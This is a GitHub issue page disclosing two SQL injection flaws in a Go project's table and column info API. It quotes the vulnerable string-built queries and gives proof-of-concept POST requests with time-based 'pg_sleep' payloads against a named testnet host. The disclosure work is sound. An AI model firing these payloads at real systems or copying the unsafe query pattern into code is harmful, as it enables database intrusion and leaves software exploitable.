Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection vulnerabilities #2060

Closed
4 tasks done
QSec-Team opened this issue Oct 18, 2022 · 1 comment
Closed
4 tasks done

SQL Injection vulnerabilities #2060

QSec-Team opened this issue Oct 18, 2022 · 1 comment

Comments

@QSec-Team
Copy link

Describe the bug

There are two SQL injection vulnerabilities

First place

file:

query := fmt.Sprintf("SELECT tablename from pg_tables where schemaname ='public' and tablename like %s order by %s offset %d limit %d", "'%"+form.Table_name+"%'", form.Order, (form.Page-1)*form.Limit, form.Limit)

query := fmt.Sprintf("SELECT tablename from pg_tables where schemaname ='public' and tablename like %s order by %s offset %d limit %d", "'%"+form.Table_name+"%'", form.Order, (form.Page-1)*form.Limit, form.Limit)

POC:
POST https://testnet-hk1.ibax.network:5079/api/v2/open/tablesInfo

data: page=1&limit=1&order=1; select pg_sleep(3)--

Second place

file:

sqlQuery := fmt.Sprintf("SELECT column_name,data_type,column_default FROM information_schema.columns WHERE table_name='%s' ORDER BY %s", form.Table_name, order)

sqlQuery := fmt.Sprintf("SELECT column_name,data_type,column_default FROM information_schema.columns WHERE table_name='%s' ORDER BY %s", form.Table_name, order)

POC:
POST https://testnet-hk1.ibax.network:5079/api/v2/open/columnsInfo

data: table_name=1; select pg_sleep(3)--

Reproduction

POST https://testnet-hk1.ibax.network:5079/api/v2/open/tablesInfo

data: page=1&limit=1&order=1; select pg_sleep(3)--

c1

c2

as you can see, when I use pg_sleep, the request is delayed 3s.

System Info

*

Logs

No response

Validations

@jiashaoxiong1998
Copy link

666

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants